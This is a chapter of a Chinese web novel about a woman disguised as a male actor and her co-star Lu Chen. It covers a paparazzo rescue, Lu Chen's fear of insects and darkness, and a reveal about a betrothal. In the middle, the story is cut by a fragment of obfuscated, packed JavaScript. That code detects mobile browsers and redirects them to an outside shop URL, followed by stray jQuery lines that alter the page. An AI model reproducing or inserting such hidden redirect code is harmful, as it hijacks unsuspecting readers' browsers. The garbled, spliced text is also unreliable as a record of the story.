44. 044

作品:《顶流是女扮男装[古穿今]

    沐导对这场戏很满意。路辰本就是年轻一辈里少有的演技派,没想到非科班出身、又没有什么表演经验的周白,表现得也如此好,给了他很大惊喜。


    工作人员准备下一场戏的间隙,路辰和周白先坐到一旁休息。


    周白喝水时抬眼,正好望见剧组外围的大树上挂着好多人,每个人手里都举着长镜头,直直对着片场拍摄。


    “都是代拍。”路辰无奈的摇头,“每次看到都想劝他们下来,既危险又没必要。或许大家都有难处,但还是希望能守好边界。”


    一连几天外景,外围的树上始终有人。直到某天,一名代拍悄悄摸到了离拍摄现场最近的一棵树上。


    路辰正在走戏,瞥见那人蹲在高处摇摇晃晃的树枝上,看着便险象环生,当即顾不上对戏,皱着眉连连挥手,出声提醒他下来。


    那人却丝毫没有下树的意思,反而举着相机兴奋的对着路辰猛拍。直到“咯吱”一声脆响,树枝骤然断裂。


    代拍脚下一空,直直往下坠,慌乱中挥舞双手,却什么都抓不住,下坠之势丝毫未减。


    剧组众人眼睁睁看着他摔下来,惊呼还未出口,便见一道人影极速掠至,“砰”的一声,代拍本以为最轻也要骨折,竟稳稳落进了一双有力的手臂中,只顿了半秒,便被那双手轻轻托送,平稳放在地上。


    他惊魂未定的打了一个滚起身,第一反应是先检查胸前挂着的相机有没有损坏,等抬头看清救了自己的人是周白,顿时眼睛一亮,立刻举起相机对着周白疯狂拍摄。


    周白皱眉瞥了他一眼,一言不发转身离开。


    回来时,路辰惊喜地朝他迎去,眼神中全是兴奋和钦佩,不禁脱口而出:“AreyouSuperman!”


    周白飞身救人的一幕,被其他代拍拍下传到网上,有人疯狂夸赞周白,也有人批判代拍要钱不要命。可这段插曲并未劝退蹲守的人,反而因为热度,引来更多粉丝和代拍围堵剧组。


    “啊!”


    “嘶——!”


    路辰看着岑敏递到面前的虫子,吓得表情失控,双腿离地猛地窜起,落地后又原地跳了跳,用力抖着身体,想甩掉那阵令人发毛的感觉。


    饰演女主的岑敏在一旁笑得直不起腰。


    周白无语的看着路辰。前几天刚知道他怕黑,没想到他连小虫都怕,生得这般高大,胆子却小的离谱。


    这几天的戏份里,岑敏扮演的女主任晓霜也来到清玄观,三人有多场一同学艺、游玩的对手戏。


    其中一场,原本李郢抓着蛇虫去吓任晓霜,把人吓哭。结果拍摄时,被小虫子吓得失声大叫的反而是路辰。


    知道路辰这么怕虫子,岑敏觉得格外有趣,之后总爱挖来各种虫子逗他,一吓一个准。到后来,路辰一见到岑敏靠近,就下意识躲到周白身后,生怕她手里又掏出什么东西。


    周白知道路辰怕黑,是在一场夜戏收工后。


    两人一同往回走,有一段路照明全撤了,一片漆黑。路辰走到这里,迟迟不敢迈脚,看到周白过来,像找到救星,顺势伸手牵住她的手。


    周白看着突然被握住的手,当即黑了脸,却听路辰疑惑道:“咦?你力气那么大,手怎么这么小,还挺软。”


    说着还轻轻捏了两下,周白脸色更黑,用力一抽,手没抽出来,反倒把路辰带得一个踉跄,差点直接扑到她身上。


    最后,路辰双手搭着周白双肩,躲在她身后,才敢走完那段没有光亮的路。


    周白原以为路辰胆小只有身边人知道,没想到早已是全网皆知。


    他去年剧宣参加一档密室逃脱综艺,因为胆小贡献了不少名场面,那期节目收视率极高,节目组后来多次向他发出常驻邀请,被他坚决拒绝了。


    周白觉得路辰的胆子格外奇妙,他怕随手就能碾死的小虫子,却不怕狂吠的野犬,甚至还想上前去摸,周白实在看不下去,怕他被咬染上病,伸手一把将人扯了回来。


    路辰怕黑,可拍戏时那些危险、困难的动作戏,他从不用替身,全都亲自上。周白看得出来,他虽没有武功底子,身手在普通人里却算得上灵活矫健。


    周白在清玄观最后一场戏,讲的是李郢与慕容珩的私下对话。


    李郢告诉慕容珩,自己好像喜欢上任晓霜,可他自幼有一门指腹为婚的婚约在身,他想先解除婚约,再向任晓霜表明心意。


    慕容珩在清玄观半年,虽没能从掌教手中拿到神龙钥,却早已被李郢当成了知己好友。他本没把对方这番儿女情长的话放在心上,只想随意敷衍两句,却还是忍不住好奇,随口问了一句他的未婚妻究竟是何人。


    李郢先四处观望,确信周围没人,才压低声音开口:“你是我师弟,我也不瞒你。前任皇帝给我指了一门亲事,我的未婚妻,是清和公主。”


    慕容珩正端着茶盏喝水,闻言猛地呛咳起来,不可置信地抬头盯着李郢,面上羞愤难当,顺过气后,他才一字一顿开口:“你是李破虏?李晟之孙?”


    李郢连忙点头:“不愧是世家子弟,消息果然灵通,我还以为李家败落之后,再无人记得这些旧事,没想到你连我的本名都知道。”


    慕容珩咬牙切齿:“你不必去向公主退亲,他不会嫁你。你婚配自由,无人会干涉。”


    “真要如此就好了。不久前宫中还有书信送到师傅手里,问我何时与公主完婚。”


    慕容珩脸色越发难看,看向李郢的眼神也不复先前温文,多了几分冰冷不善。


    李郢却只当他是在为自己担心,拍了拍他的肩膀叹道:“所以我打算亲自去京城一趟,先向清和公主赔罪,再去和皇帝请旨,解除这门婚事。”


    慕容珩冷冷开口:“皇帝金口玉言,你敢当面拒婚,胆子倒是不小。”


    李郢浑不在意地笑了笑:“皇帝又如何?当年我李家军奉他旨意死守孤城,最终全军覆没,全家百余口,只余我一人。若他因我拒婚便要取我性命……我自然是打不过就跑。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133484|193237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >见慕容珩脸色愈发沉冷,他才收敛笑意,正色道:“这事我同师傅说了,他说我若实在不愿娶公主,也并非不可。只是皇帝那边面子上不好过,让我带一件东西交给皇帝,他便会应允退亲。”


    说着,李郢从怀里拿出一块斑斓的鱼形琉璃。


    慕容珩目光落在那琉璃上,瞬间精光一闪——他费尽心力寻找的秘钥,竟就这样毫无防备地出现在了眼前。


    周白比路辰早两天回到影视城的摄影棚,如今她每天上妆、收工的出入口,都有不少粉丝蹲守。她起初还好奇对方如何精准掌握行程,后来才得知,剧组内部竟有人私下售卖艺人的拍摄日程与通告。


    支持她的白粥们格外热情,一见她出现便激动不已,除了举着手机拍摄,高声应援,还会纷纷上前递信。只是周白从来不收礼物和信件,粉丝们却似乎并不在意,热情丝毫未减。


    人群中偶尔还混着些“路人甲”,冲她喊话:“周白,路辰什么时候回影视城呀?”


    “周白好,见到辰哥记得帮我们提醒他,最近又瘦了,要好好吃饭。”


    周白只朝那些路辰的粉丝轻轻点头,心下却道:让路辰好好吃饭,跟自己说没用,要和路辰经纪人说才行。


    古装妆造对身形要求比现代戏严苛,路辰如今连日常健身都被制片人叫停,生怕练得太过壮实,上镜显得臃肿、失了古装飘逸感。


    不能健身,他便更频繁地约周白去打篮球,周白只要有空基本都会赴约。一来二去,剧组上下都以为,她也是个狂热的篮球爱好者。


    路辰从外景地回来,两人又有一场比较重要的对手戏,是李郢上京城要面见皇帝请旨退婚,无意中听闻有人将对清和公主不利,他跟随对方身后夜探公主府,以防歹人行刺,他好出手相助。


    这幕戏是慕容珩成年后第一次以女装亮相,导演格外重视,开拍前与造型师反复沟通许久,妆造改了好几版,直到正式开拍前一刻仍在调整。


    待周白坐在那里,真正入戏的刹那,神情、气韵、姿态尽数蜕变,导演当即确定——这便是他心中最想要的模样。


    路辰看到周白的妆造后,也有些愣神。


    这段时间相处下来,他和周白已经十分熟悉。在他眼里,周白是个演戏认真、有能力、有担当,又十分值得信赖的同事兼朋友。和他待在一起格外自在,两人可以聊演技、分享美食、一起运动,大家走得近,也不怕被偷拍、传绯闻。


    只是偶尔不经意间,他会发现周白某个角度、某种神态,柔和得近乎秀丽,让他莫名有些不好意思多看。他知道周白接下来有女装戏份,心里还盘算,等她扮上女装,一定要调侃几句,毕竟自己因为怕黑怕虫,没少在他面前出糗,总算能找回一局。


    可等到周白换上女装出来那一刻,他却一句打趣的话也说不出口。


    等导演将两人叫到身边讲戏时,他更是连直视对方都觉得别扭,心里莫名升起一种怪异的尴尬,像是朝夕相处的兄弟,忽然变成了女子。